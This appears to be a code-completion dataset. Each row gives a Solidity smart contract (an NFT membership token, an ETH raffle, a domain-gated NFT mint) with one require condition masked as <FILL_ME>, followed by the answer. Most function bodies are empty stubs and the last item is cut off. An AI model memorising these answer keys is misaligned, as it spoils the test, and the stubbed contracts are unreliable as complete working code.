allCruiseElite[mintIndex] = newCruiseElite;
mintIndex += 1;
distribute(mintPrice);
}
}
function changeTokenPrice(uint256 _tokenId, uint256 _newPrice) public {
}
// switch between set for sale and set not for sale
function toggleForSale(uint256 _tokenId) public {
}
function distribute(uint256 _amount) private {
}
function purchaseToken(uint256 _tokenId) public payable nonReentrant {
}
function transferWithheldToken(uint256 _tokenId, address _to) public nonReentrant {
}
function withdrawFunds(address _to) external onlyOwner {
}
function setDaoContract(address _dao) public onlyOwner {
}
function decreaseVotingEntry(uint256 _tokenId, uint16 _decreaseCount) external {
}
function getTokenData(uint256 _tokenId) external view returns (CruiseMembership memory) {
}
}
| mintedTotal[msg.sender]<maxCountPerWallet,"Count per wallet exceeded" | 254,559 | mintedTotal[msg.sender]<maxCountPerWallet |
"Token shuold be reserve one" | pragma solidity >=0.8.0;
contract EliteCruiseNFT is ERC721, ERC721URIStorage, Ownable, ReentrancyGuard {
string public baseURI = "";
uint256 public mintIndex = 1;
uint256 public availSupply = 950;
uint256 public withheldSupply = 50;
uint256 public mintPrice = 1 ether;
uint32 public denominator = 1000;
address public daoContract;
mapping(uint256 => CruiseMembership) public allCruiseElite;
mapping(address => uint256) public mintedTotal;
uint256 public maxCountPerWallet = 10;
address private cruiseOperationsWallet = 0x2947d8134f148B2A7Ed22C10FAfC4d6Cd42C1054;
address private devWallet = 0x1695e62192959A93625EdD8993A2c44faed666Ac;
address private investorGBWallet = 0x49C4D560C2b8C2C72962dA8B02B1C428d745a6Fd;
address private futureEmploymentWallet = 0xce9F8dDA015702E40cF697aDd3D55E2cF122c641;
address private ownershipWallet = 0xe34f72eD903c9f997B9f8658a1b082fd55093DA7;
address private eMaloneCDWallet = 0x79C61C20e9C407E4D768a78F7350B78157530183;
address private cruiseDaoWalletForCommunity = 0x12A75919B84810e02B1BD4b30b9C47da4c893B10;
address private cruiseDaoCharityWallet = 0xD48b024D9d0751f19Ab3D255101405EB534Ea76A;
constructor() ERC721("EliteCruiseNFT", "ECN") {
}
function _baseURI() internal view override returns (string memory) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function setBaseUri(string memory _uri) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function getMintIndex() public view returns(uint256) {
}
function mint(string memory _tokenURI) public payable {
}
function changeTokenPrice(uint256 _tokenId, uint256 _newPrice) public {
// require caller of the function is not an empty address
require(msg.sender != address(0), "Shouldn't be empty address");
// require that token should exist
require(_exists(_tokenId), "Token not exist");
// require that token should not be withheld
require(<FILL_ME>)
// get the token's owner
address tokenOwner = ownerOf(_tokenId);
// check that token's owner should be equal to the caller of the function
require(tokenOwner == msg.sender, "Invalid owner");
CruiseMembership memory cruiseElite = allCruiseElite[_tokenId];
// update token's price with new price
cruiseElite.price = _newPrice;
// set and update that token in the mapping
allCruiseElite[_tokenId] = cruiseElite;
}
// switch between set for sale and set not for sale
function toggleForSale(uint256 _tokenId) public {
}
function distribute(uint256 _amount) private {
}
function purchaseToken(uint256 _tokenId) public payable nonReentrant {
}
function transferWithheldToken(uint256 _tokenId, address _to) public nonReentrant {
}
function withdrawFunds(address _to) external onlyOwner {
}
function setDaoContract(address _dao) public onlyOwner {
}
function decreaseVotingEntry(uint256 _tokenId, uint16 _decreaseCount) external {
}
function getTokenData(uint256 _tokenId) external view returns (CruiseMembership memory) {
}
}
| !allCruiseElite[_tokenId].isWithheld,"Token shuold be reserve one" | 254,559 | !allCruiseElite[_tokenId].isWithheld |
"Token is not for sale" | pragma solidity >=0.8.0;
contract EliteCruiseNFT is ERC721, ERC721URIStorage, Ownable, ReentrancyGuard {
string public baseURI = "";
uint256 public mintIndex = 1;
uint256 public availSupply = 950;
uint256 public withheldSupply = 50;
uint256 public mintPrice = 1 ether;
uint32 public denominator = 1000;
address public daoContract;
mapping(uint256 => CruiseMembership) public allCruiseElite;
mapping(address => uint256) public mintedTotal;
uint256 public maxCountPerWallet = 10;
address private cruiseOperationsWallet = 0x2947d8134f148B2A7Ed22C10FAfC4d6Cd42C1054;
address private devWallet = 0x1695e62192959A93625EdD8993A2c44faed666Ac;
address private investorGBWallet = 0x49C4D560C2b8C2C72962dA8B02B1C428d745a6Fd;
address private futureEmploymentWallet = 0xce9F8dDA015702E40cF697aDd3D55E2cF122c641;
address private ownershipWallet = 0xe34f72eD903c9f997B9f8658a1b082fd55093DA7;
address private eMaloneCDWallet = 0x79C61C20e9C407E4D768a78F7350B78157530183;
address private cruiseDaoWalletForCommunity = 0x12A75919B84810e02B1BD4b30b9C47da4c893B10;
address private cruiseDaoCharityWallet = 0xD48b024D9d0751f19Ab3D255101405EB534Ea76A;
constructor() ERC721("EliteCruiseNFT", "ECN") {
}
function _baseURI() internal view override returns (string memory) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function setBaseUri(string memory _uri) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function getMintIndex() public view returns(uint256) {
}
function mint(string memory _tokenURI) public payable {
}
function changeTokenPrice(uint256 _tokenId, uint256 _newPrice) public {
}
// switch between set for sale and set not for sale
function toggleForSale(uint256 _tokenId) public {
}
function distribute(uint256 _amount) private {
}
function purchaseToken(uint256 _tokenId) public payable nonReentrant {
// check if the function caller is not an zero account address
require(msg.sender != address(0), "Shouldn't be empty address");
// check if the token id of the token being bought exists or not
require(_exists(_tokenId), "Token not exist");
// get the token's owner
address tokenOwner = ownerOf(_tokenId);
// token's owner should not be an zero address account
require(tokenOwner != address(0), "Owner can't be empty address");
// require that token should not be withheld
require(!allCruiseElite[_tokenId].isWithheld, "Token shuold not be withheld");
// the one who wants to buy the token should not be the token's owner
require(tokenOwner != msg.sender, "Shouldn't be owner");
CruiseMembership memory cruiseElite = allCruiseElite[_tokenId];
// price sent in to buy should be equal to or more than the token's price
require(msg.value == cruiseElite.price, "Ether value incorrect");
// token should be for sale
require(<FILL_ME>)
// shouldn't be cruise operations wallet
require(msg.sender != cruiseOperationsWallet, "Shouldn't be operations wallet");
payable(cruiseElite.currentOwner).transfer(cruiseElite.price * 9 / 10);
distribute(cruiseElite.price / 10);
// transfer the token from owner to the caller of the function (buyer)
_transfer(tokenOwner, msg.sender, _tokenId);
// update the token's previous owner
cruiseElite.previousOwner = cruiseElite.currentOwner;
// update the token's current owner
cruiseElite.currentOwner = msg.sender;
// set and update that token in the mapping
allCruiseElite[_tokenId] = cruiseElite;
}
function transferWithheldToken(uint256 _tokenId, address _to) public nonReentrant {
}
function withdrawFunds(address _to) external onlyOwner {
}
function setDaoContract(address _dao) public onlyOwner {
}
function decreaseVotingEntry(uint256 _tokenId, uint16 _decreaseCount) external {
}
function getTokenData(uint256 _tokenId) external view returns (CruiseMembership memory) {
}
}
| cruiseElite.isForSale,"Token is not for sale" | 254,559 | cruiseElite.isForSale |
"Token shuold be withheld" | pragma solidity >=0.8.0;
contract EliteCruiseNFT is ERC721, ERC721URIStorage, Ownable, ReentrancyGuard {
string public baseURI = "";
uint256 public mintIndex = 1;
uint256 public availSupply = 950;
uint256 public withheldSupply = 50;
uint256 public mintPrice = 1 ether;
uint32 public denominator = 1000;
address public daoContract;
mapping(uint256 => CruiseMembership) public allCruiseElite;
mapping(address => uint256) public mintedTotal;
uint256 public maxCountPerWallet = 10;
address private cruiseOperationsWallet = 0x2947d8134f148B2A7Ed22C10FAfC4d6Cd42C1054;
address private devWallet = 0x1695e62192959A93625EdD8993A2c44faed666Ac;
address private investorGBWallet = 0x49C4D560C2b8C2C72962dA8B02B1C428d745a6Fd;
address private futureEmploymentWallet = 0xce9F8dDA015702E40cF697aDd3D55E2cF122c641;
address private ownershipWallet = 0xe34f72eD903c9f997B9f8658a1b082fd55093DA7;
address private eMaloneCDWallet = 0x79C61C20e9C407E4D768a78F7350B78157530183;
address private cruiseDaoWalletForCommunity = 0x12A75919B84810e02B1BD4b30b9C47da4c893B10;
address private cruiseDaoCharityWallet = 0xD48b024D9d0751f19Ab3D255101405EB534Ea76A;
constructor() ERC721("EliteCruiseNFT", "ECN") {
}
function _baseURI() internal view override returns (string memory) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function setBaseUri(string memory _uri) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function getMintIndex() public view returns(uint256) {
}
function mint(string memory _tokenURI) public payable {
}
function changeTokenPrice(uint256 _tokenId, uint256 _newPrice) public {
}
// switch between set for sale and set not for sale
function toggleForSale(uint256 _tokenId) public {
}
function distribute(uint256 _amount) private {
}
function purchaseToken(uint256 _tokenId) public payable nonReentrant {
}
function transferWithheldToken(uint256 _tokenId, address _to) public nonReentrant {
// shouldn't be cruise operations wallet
require(msg.sender == cruiseOperationsWallet, "Should be operations wallet");
// require that token should not be withheld
require(<FILL_ME>)
// owner should not be an zero address account
require(_to != address(0), "Owner can't be empty address");
// get the token's owner
address tokenOwner = ownerOf(_tokenId);
_transfer(tokenOwner, _to, _tokenId);
CruiseMembership memory cruiseElite = allCruiseElite[_tokenId];
cruiseElite.previousOwner = cruiseElite.currentOwner;
cruiseElite.currentOwner = _to;
allCruiseElite[_tokenId] = cruiseElite;
}
function withdrawFunds(address _to) external onlyOwner {
}
function setDaoContract(address _dao) public onlyOwner {
}
function decreaseVotingEntry(uint256 _tokenId, uint16 _decreaseCount) external {
}
function getTokenData(uint256 _tokenId) external view returns (CruiseMembership memory) {
}
}
| allCruiseElite[_tokenId].isWithheld,"Token shuold be withheld" | 254,559 | allCruiseElite[_tokenId].isWithheld |
"Amount of tickets should be more than 0." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "ReentrancyGuard.sol";
import "Math.sol";
interface IRNGesus {
function prayToRngesus(uint256 _gweiForFulfillPrayer) external payable returns (uint256);
function randomNumbers(uint256 _requestId) external view returns (uint256);
}
contract EthRaffle is ReentrancyGuard {
// check if contract is already initialized
bool private initialized;
// contract variables
string public raffleName;
address public raffleCreator;
uint256 public prizePoolAllocationPercentage;
uint256 public prizePool;
uint256 public totalTicketsBought;
address public winner;
// contract address and request id for RNGesus
address public rngesusContract;
uint256 public rngesusRequestId;
// different price tiers when buying multiple tickets
struct PriceTier {
uint256 price;
uint256 amountOfTickets;
}
mapping(uint256 => PriceTier) public priceTiers;
// keep track of how many tickets bought by which address
struct TicketsBought {
uint256 currentTicketsBought; // current total amount of tickets bought in the raffle
address player; // the player's wallet address
}
TicketsBought[] public raffleBox;
// raffle states
// TICKET_SALE_OPEN - once the NFT has been trasfered to this contract, players can now join the raffle (buy tickets)
// WAITING_FOR_PAYOUT - once the random number has been created, execute the payout function and the winner will get the ETH prize,
// the remainder will go to the raffleCreator
// RAFFLE_FINISHED - the raffle is finished, thank you for playing
enum RAFFLE_STATE {
TICKET_SALE_OPEN,
WAITING_FOR_PAYOUT,
RAFFLE_FINISHED
}
// raffleState variable
RAFFLE_STATE public raffleState;
// events
event TicketSale(
address buyer,
uint256 amountOfTickets,
uint256 pricePaid,
uint256 timestamp
);
event Winner(
address winner,
uint256 prize
);
function initialize(
string memory _raffleName,
address _raffleCreator,
uint256 _prizePoolAllocationPercentage,
address _rngesusContract,
PriceTier[] calldata _priceTiers
) external nonReentrant {
// check if contract is already initialized
require(!initialized, "Contract is already initialized.");
initialized = true;
// set the raffle variables
raffleName = _raffleName;
raffleCreator = _raffleCreator;
rngesusContract = _rngesusContract;
prizePoolAllocationPercentage = _prizePoolAllocationPercentage;
require(_priceTiers.length > 0, "No price tiers found.");
// set the ticket price tiers
for (uint256 i = 0; i < _priceTiers.length; i++) {
require(<FILL_ME>)
// create PriceTier and map to priceTiers
priceTiers[i] = PriceTier({
price: _priceTiers[i].price,
amountOfTickets: _priceTiers[i].amountOfTickets
});
}
}
function addEthToPrizePool() external payable {
}
function buyTicket(uint256 _priceTier) external payable nonReentrant {
}
function drawWinner(uint256 _gweiForFulfillPrayer) public payable nonReentrant {
}
function payOut() public nonReentrant {
}
// find the index of the raffle box to determine the winner based on the ticket number
function findWinnerIndex(uint256 winningTicket) internal view returns (uint256) {
}
// get contract variables
function getContractVariables() public view returns (bytes memory) {
}
}
| _priceTiers[i].amountOfTickets>0,"Amount of tickets should be more than 0." | 254,650 | _priceTiers[i].amountOfTickets>0 |
"This price tier does not exist." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "ReentrancyGuard.sol";
import "Math.sol";
interface IRNGesus {
function prayToRngesus(uint256 _gweiForFulfillPrayer) external payable returns (uint256);
function randomNumbers(uint256 _requestId) external view returns (uint256);
}
contract EthRaffle is ReentrancyGuard {
// check if contract is already initialized
bool private initialized;
// contract variables
string public raffleName;
address public raffleCreator;
uint256 public prizePoolAllocationPercentage;
uint256 public prizePool;
uint256 public totalTicketsBought;
address public winner;
// contract address and request id for RNGesus
address public rngesusContract;
uint256 public rngesusRequestId;
// different price tiers when buying multiple tickets
struct PriceTier {
uint256 price;
uint256 amountOfTickets;
}
mapping(uint256 => PriceTier) public priceTiers;
// keep track of how many tickets bought by which address
struct TicketsBought {
uint256 currentTicketsBought; // current total amount of tickets bought in the raffle
address player; // the player's wallet address
}
TicketsBought[] public raffleBox;
// raffle states
// TICKET_SALE_OPEN - once the NFT has been trasfered to this contract, players can now join the raffle (buy tickets)
// WAITING_FOR_PAYOUT - once the random number has been created, execute the payout function and the winner will get the ETH prize,
// the remainder will go to the raffleCreator
// RAFFLE_FINISHED - the raffle is finished, thank you for playing
enum RAFFLE_STATE {
TICKET_SALE_OPEN,
WAITING_FOR_PAYOUT,
RAFFLE_FINISHED
}
// raffleState variable
RAFFLE_STATE public raffleState;
// events
event TicketSale(
address buyer,
uint256 amountOfTickets,
uint256 pricePaid,
uint256 timestamp
);
event Winner(
address winner,
uint256 prize
);
function initialize(
string memory _raffleName,
address _raffleCreator,
uint256 _prizePoolAllocationPercentage,
address _rngesusContract,
PriceTier[] calldata _priceTiers
) external nonReentrant {
}
function addEthToPrizePool() external payable {
}
function buyTicket(uint256 _priceTier) external payable nonReentrant {
require(raffleState == RAFFLE_STATE.TICKET_SALE_OPEN, "Cannot buy tickets anymore.");
require(<FILL_ME>)
uint256 amountOfTickets = priceTiers[_priceTier].amountOfTickets;
uint256 ticketsPrice = priceTiers[_priceTier].price;
require(msg.value == ticketsPrice, "Please pay the correct amount.");
// create new TicketsBought struct
TicketsBought memory ticketsBought = TicketsBought({
player: msg.sender,
currentTicketsBought: totalTicketsBought + amountOfTickets
});
// push TicketsBought struct to raffleBox
raffleBox.push(ticketsBought);
// add amountOfTickets to totalTicketsBought
totalTicketsBought += amountOfTickets;
// add eth to the prize pool
prizePool += msg.value / 100 * prizePoolAllocationPercentage;
emit TicketSale(msg.sender, amountOfTickets, ticketsPrice, block.timestamp);
}
function drawWinner(uint256 _gweiForFulfillPrayer) public payable nonReentrant {
}
function payOut() public nonReentrant {
}
// find the index of the raffle box to determine the winner based on the ticket number
function findWinnerIndex(uint256 winningTicket) internal view returns (uint256) {
}
// get contract variables
function getContractVariables() public view returns (bytes memory) {
}
}
| priceTiers[_priceTier].amountOfTickets>0,"This price tier does not exist." | 254,650 | priceTiers[_priceTier].amountOfTickets>0 |
"Domain is not claimable." | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
library AddressMap {
struct Map {
address[] keys;
mapping(address => bool) values;
mapping(address => uint) indexOf;
}
function get(Map storage map, address key) public view returns (bool) {
}
function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
}
function size(Map storage map) public view returns (uint) {
}
function set(
Map storage map,
address key
) public {
}
function remove(Map storage map, address key) public {
}
}
contract ProticoChattingChip is ERC721, ReentrancyGuard, AccessControl {
using SignatureChecker for address;
using Counters for Counters.Counter;
using AddressMap for AddressMap.Map;
Counters.Counter private _tokenIdCounter;
uint256 constant MaxSupply = 30000;
uint256 constant MaxPerDomain = 1000;
bytes32[30] private _sites = [
bytes32(0x9649c7eb6df175f417fcfb2eeeaf6e39367ec7a45034048a3d5cff5e2ea8519f),
bytes32(0x45a2112d850d7101c902a913c185ba0d28e0ecdcfd1d540e2497f2750714f69a),
bytes32(0x0445d458f1aa05b40e476e9a57218b91110ad2174ae15f7057715e84693f7100),
bytes32(0xeb867819c51fbf7d44c73a332082c0b6142546289310c6ff4fac832120012ed3),
bytes32(0x89ae9c604bc971f8b6a5aee73a1c4e71c952d16a3bcf995e1642f2db167bc5a7),
bytes32(0x9f514643ee17437be8788be62d7db6953296791a2ad0db024063a20a97a08682),
bytes32(0x94d13d04140fd5b04a3196ba600a958460fc847c28b74d6e9c1f26bb50c56b45),
bytes32(0x9e01a36b730e791ed57eabb8379758d7601ffc79b6d613cb7744191938672887),
bytes32(0x1345e844ae191c4c9f5ed685ecca259e4530dec934838661f002fc3ac3c3b83c),
bytes32(0x588e7f25cc1ab5b40a3b6770561d285a5299071e36dbffe3cba46f5360110f5d),
bytes32(0x6449d685d467441665612dc60098ae2a5f0e16d0e60f1d9d0b63e3c037c5df8d),
bytes32(0xc9fc5126b89092478eb63279a7cd259ea24c24bc945b91b5c8366967b05ee6d1),
bytes32(0x574014404853e93615346db284ca5bd068542f139762d459e11e64fee33e7abd),
bytes32(0x0e84102fc2bc70ee46419905395f8fb46f7c0be0c9e694e4e699b087cde9be16),
bytes32(0xd14db021bc6bdaf39de490427d6a1e0e265463ff19e83094dc76f0d3150fc716),
bytes32(0x4c85a4f44366822767ab3fa89b6b2a8cf6b30a44a96152d7c26a77f634f9cbe0),
bytes32(0xf0ca7fdd544d43a37b1fd3242551a298fbfed3edb8403c9e925c4cde8c19fe8e),
bytes32(0x207eeb1c4a1ac75d8ac74d64bfabb5e81199384099507fa4233771c134adad72),
bytes32(0x131e81156f0505f36093d6b4d5e6f14643b9f367da7fd717f3239c1599c620a8),
bytes32(0x2ccc2d85ad9b8899ddbad3cef1c367ed84bf8d19014acd04588e48f6e837436e),
bytes32(0x702c587833b68bf050b53037adba2bb8f7f93d875c5a372389d8d6987074f503),
bytes32(0xb0af795fa00c85296c52b9fa3873a6acb561de2ac8e8ae0a84338bfbbcb6a3d7),
bytes32(0xa57c78e6f3324d0ef1b1412366a8b123674f9423dd1effc63656d7e48d05bc30),
bytes32(0xf7f00296c339c4e3d3b2aa84cbe9a6cadb9d8aabd2eb784064fb12ecf2029b0e),
bytes32(0xbf9c1eb5724df6704047f4b9f5ddb73e21e53efedd725685ab9d9820c5dc99b2),
bytes32(0xcc57ea92f884c55cc87b03761c95b7d99a2324f4baec0a72a0df10cbab77911b),
bytes32(0xdc6ab7e871c6a47b07c00e6bbd11ee902e47d00afc2191d614116b87900973dc),
bytes32(0xf2e4f0dcb4243c2dc76aeee61f15ba1d87db55775678f6d67d7a49130db786e4),
bytes32(0x3a95202072e7adc1c3e2598fd97fd22472790fb26ec4f768f6b77c4c12995fb2),
bytes32(0x6ce43a2f8178c89cac275597661b9ce9f6b7ef6a93e8c97b0ccf437dad1e511e)
];
mapping(bytes32 => AddressMap.Map) private _list;
mapping(bytes32 => bool) private _siteExists;
string private _tokenURI;
constructor() ERC721("Protico Chatting Chip", "PCC") {
}
function mint(
string memory _http,
bytes memory _signature
) external nonReentrant {
uint256 tokenId = _tokenIdCounter.current();
require(tokenId < MaxSupply, "Not claimable");
bytes32 hashedDomain = keccak256(abi.encodePacked(_http));
require(<FILL_ME>)
require(_list[hashedDomain].size() < MaxPerDomain, "Domain is not claimable.");
require(isSignatureValid(_http, _signature), "Invalid signature");
bool hasMinted = _list[hashedDomain].get(msg.sender);
require(!hasMinted, "Address already has the token on this domain.");
_list[hashedDomain].set(msg.sender);
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
function isSignatureValid(string memory _http, bytes memory _signature) internal view returns (bool) {
}
function setTokenURI(string memory _uri) external virtual onlyRole(DEFAULT_ADMIN_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function getMinted(string memory _http) external view onlyRole(DEFAULT_ADMIN_ROLE) returns (address[] memory) {
}
function isValidDomain(string memory _http) external view returns (bool) {
}
function claimable(string memory _http) external view returns (bool) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
}
}
| _siteExists[hashedDomain],"Domain is not claimable." | 254,735 | _siteExists[hashedDomain] |
"Domain is not claimable." | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
library AddressMap {
struct Map {
address[] keys;
mapping(address => bool) values;
mapping(address => uint) indexOf;
}
function get(Map storage map, address key) public view returns (bool) {
}
function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
}
function size(Map storage map) public view returns (uint) {
}
function set(
Map storage map,
address key
) public {
}
function remove(Map storage map, address key) public {
}
}
contract ProticoChattingChip is ERC721, ReentrancyGuard, AccessControl {
using SignatureChecker for address;
using Counters for Counters.Counter;
using AddressMap for AddressMap.Map;
Counters.Counter private _tokenIdCounter;
uint256 constant MaxSupply = 30000;
uint256 constant MaxPerDomain = 1000;
bytes32[30] private _sites = [
bytes32(0x9649c7eb6df175f417fcfb2eeeaf6e39367ec7a45034048a3d5cff5e2ea8519f),
bytes32(0x45a2112d850d7101c902a913c185ba0d28e0ecdcfd1d540e2497f2750714f69a),
bytes32(0x0445d458f1aa05b40e476e9a57218b91110ad2174ae15f7057715e84693f7100),
bytes32(0xeb867819c51fbf7d44c73a332082c0b6142546289310c6ff4fac832120012ed3),
bytes32(0x89ae9c604bc971f8b6a5aee73a1c4e71c952d16a3bcf995e1642f2db167bc5a7),
bytes32(0x9f514643ee17437be8788be62d7db6953296791a2ad0db024063a20a97a08682),
bytes32(0x94d13d04140fd5b04a3196ba600a958460fc847c28b74d6e9c1f26bb50c56b45),
bytes32(0x9e01a36b730e791ed57eabb8379758d7601ffc79b6d613cb7744191938672887),
bytes32(0x1345e844ae191c4c9f5ed685ecca259e4530dec934838661f002fc3ac3c3b83c),
bytes32(0x588e7f25cc1ab5b40a3b6770561d285a5299071e36dbffe3cba46f5360110f5d),
bytes32(0x6449d685d467441665612dc60098ae2a5f0e16d0e60f1d9d0b63e3c037c5df8d),
bytes32(0xc9fc5126b89092478eb63279a7cd259ea24c24bc945b91b5c8366967b05ee6d1),
bytes32(0x574014404853e93615346db284ca5bd068542f139762d459e11e64fee33e7abd),
bytes32(0x0e84102fc2bc70ee46419905395f8fb46f7c0be0c9e694e4e699b087cde9be16),
bytes32(0xd14db021bc6bdaf39de490427d6a1e0e265463ff19e83094dc76f0d3150fc716),
bytes32(0x4c85a4f44366822767ab3fa89b6b2a8cf6b30a44a96152d7c26a77f634f9cbe0),
bytes32(0xf0ca7fdd544d43a37b1fd3242551a298fbfed3edb8403c9e925c4cde8c19fe8e),
bytes32(0x207eeb1c4a1ac75d8ac74d64bfabb5e81199384099507fa4233771c134adad72),
bytes32(0x131e81156f0505f36093d6b4d5e6f14643b9f367da7fd717f3239c1599c620a8),
bytes32(0x2ccc2d85ad9b8899ddbad3cef1c367ed84bf8d19014acd04588e48f6e837436e),
bytes32(0x702c587833b68bf050b53037adba2bb8f7f93d875c5a372389d8d6987074f503),
bytes32(0xb0af795fa00c85296c52b9fa3873a6acb561de2ac8e8ae0a84338bfbbcb6a3d7),
bytes32(0xa57c78e6f3324d0ef1b1412366a8b123674f9423dd1effc63656d7e48d05bc30),
bytes32(0xf7f00296c339c4e3d3b2aa84cbe9a6cadb9d8aabd2eb784064fb12ecf2029b0e),
bytes32(0xbf9c1eb5724df6704047f4b9f5ddb73e21e53efedd725685ab9d9820c5dc99b2),
bytes32(0xcc57ea92f884c55cc87b03761c95b7d99a2324f4baec0a72a0df10cbab77911b),
bytes32(0xdc6ab7e871c6a47b07c00e6bbd11ee902e47d00afc2191d614116b87900973dc),
bytes32(0xf2e4f0dcb4243c2dc76aeee61f15ba1d87db55775678f6d67d7a49130db786e4),
bytes32(0x3a95202072e7adc1c3e2598fd97fd22472790fb26ec4f768f6b77c4c12995fb2),
bytes32(0x6ce43a2f8178c89cac275597661b9ce9f6b7ef6a93e8c97b0ccf437dad1e511e)
];
mapping(bytes32 => AddressMap.Map) private _list;
mapping(bytes32 => bool) private _siteExists;
string private _tokenURI;
constructor() ERC721("Protico Chatting Chip", "PCC") {
}
function mint(
string memory _http,
bytes memory _signature
) external nonReentrant {
uint256 tokenId = _tokenIdCounter.current();
require(tokenId < MaxSupply, "Not claimable");
bytes32 hashedDomain = keccak256(abi.encodePacked(_http));
require(_siteExists[hashedDomain], "Domain is not claimable.");
require(<FILL_ME>)
require(isSignatureValid(_http, _signature), "Invalid signature");
bool hasMinted = _list[hashedDomain].get(msg.sender);
require(!hasMinted, "Address already has the token on this domain.");
_list[hashedDomain].set(msg.sender);
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
function isSignatureValid(string memory _http, bytes memory _signature) internal view returns (bool) {
}
function setTokenURI(string memory _uri) external virtual onlyRole(DEFAULT_ADMIN_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function getMinted(string memory _http) external view onlyRole(DEFAULT_ADMIN_ROLE) returns (address[] memory) {
}
function isValidDomain(string memory _http) external view returns (bool) {
}
function claimable(string memory _http) external view returns (bool) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
}
}
| _list[hashedDomain].size()<MaxPerDomain,"Domain is not claimable." | 254,735 | _list[hashedDomain].size()<MaxPerDomain |
"Invalid signature" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
library AddressMap {
struct Map {
address[] keys;
mapping(address => bool) values;
mapping(address => uint) indexOf;
}
function get(Map storage map, address key) public view returns (bool) {
}
function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
}
function size(Map storage map) public view returns (uint) {
}
function set(
Map storage map,
address key
) public {
}
function remove(Map storage map, address key) public {
}
}
contract ProticoChattingChip is ERC721, ReentrancyGuard, AccessControl {
using SignatureChecker for address;
using Counters for Counters.Counter;
using AddressMap for AddressMap.Map;
Counters.Counter private _tokenIdCounter;
uint256 constant MaxSupply = 30000;
uint256 constant MaxPerDomain = 1000;
bytes32[30] private _sites = [
bytes32(0x9649c7eb6df175f417fcfb2eeeaf6e39367ec7a45034048a3d5cff5e2ea8519f),
bytes32(0x45a2112d850d7101c902a913c185ba0d28e0ecdcfd1d540e2497f2750714f69a),
bytes32(0x0445d458f1aa05b40e476e9a57218b91110ad2174ae15f7057715e84693f7100),
bytes32(0xeb867819c51fbf7d44c73a332082c0b6142546289310c6ff4fac832120012ed3),
bytes32(0x89ae9c604bc971f8b6a5aee73a1c4e71c952d16a3bcf995e1642f2db167bc5a7),
bytes32(0x9f514643ee17437be8788be62d7db6953296791a2ad0db024063a20a97a08682),
bytes32(0x94d13d04140fd5b04a3196ba600a958460fc847c28b74d6e9c1f26bb50c56b45),
bytes32(0x9e01a36b730e791ed57eabb8379758d7601ffc79b6d613cb7744191938672887),
bytes32(0x1345e844ae191c4c9f5ed685ecca259e4530dec934838661f002fc3ac3c3b83c),
bytes32(0x588e7f25cc1ab5b40a3b6770561d285a5299071e36dbffe3cba46f5360110f5d),
bytes32(0x6449d685d467441665612dc60098ae2a5f0e16d0e60f1d9d0b63e3c037c5df8d),
bytes32(0xc9fc5126b89092478eb63279a7cd259ea24c24bc945b91b5c8366967b05ee6d1),
bytes32(0x574014404853e93615346db284ca5bd068542f139762d459e11e64fee33e7abd),
bytes32(0x0e84102fc2bc70ee46419905395f8fb46f7c0be0c9e694e4e699b087cde9be16),
bytes32(0xd14db021bc6bdaf39de490427d6a1e0e265463ff19e83094dc76f0d3150fc716),
bytes32(0x4c85a4f44366822767ab3fa89b6b2a8cf6b30a44a96152d7c26a77f634f9cbe0),
bytes32(0xf0ca7fdd544d43a37b1fd3242551a298fbfed3edb8403c9e925c4cde8c19fe8e),
bytes32(0x207eeb1c4a1ac75d8ac74d64bfabb5e81199384099507fa4233771c134adad72),
bytes32(0x131e81156f0505f36093d6b4d5e6f14643b9f367da7fd717f3239c1599c620a8),
bytes32(0x2ccc2d85ad9b8899ddbad3cef1c367ed84bf8d19014acd04588e48f6e837436e),
bytes32(0x702c587833b68bf050b53037adba2bb8f7f93d875c5a372389d8d6987074f503),
bytes32(0xb0af795fa00c85296c52b9fa3873a6acb561de2ac8e8ae0a84338bfbbcb6a3d7),
bytes32(0xa57c78e6f3324d0ef1b1412366a8b123674f9423dd1effc63656d7e48d05bc30),
bytes32(0xf7f00296c339c4e3d3b2aa84cbe9a6cadb9d8aabd2eb784064fb12ecf2029b0e),
bytes32(0xbf9c1eb5724df6704047f4b9f5ddb73e21e53efedd725685ab9d9820c5dc99b2),
bytes32(0xcc57ea92f884c55cc87b03761c95b7d99a2324f4baec0a72a0df10cbab77911b),
bytes32(0xdc6ab7e871c6a47b07c00e6bbd11ee902e47d00afc2191d614116b87900973dc),
bytes32(0xf2e4f0dcb4243c2dc76aeee61f15ba1d87db55775678f6d67d7a49130db786e4),
bytes32(0x3a95202072e7adc1c3e2598fd97fd22472790fb26ec4f768f6b77c4c12995fb2),
bytes32(0x6ce43a2f8178c89cac275597661b9ce9f6b7ef6a93e8c97b0ccf437dad1e511e)
];
mapping(bytes32 => AddressMap.Map) private _list;
mapping(bytes32 => bool) private _siteExists;
string private _tokenURI;
constructor() ERC721("Protico Chatting Chip", "PCC") {
}
function mint(
string memory _http,
bytes memory _signature
) external nonReentrant {
uint256 tokenId = _tokenIdCounter.current();
require(tokenId < MaxSupply, "Not claimable");
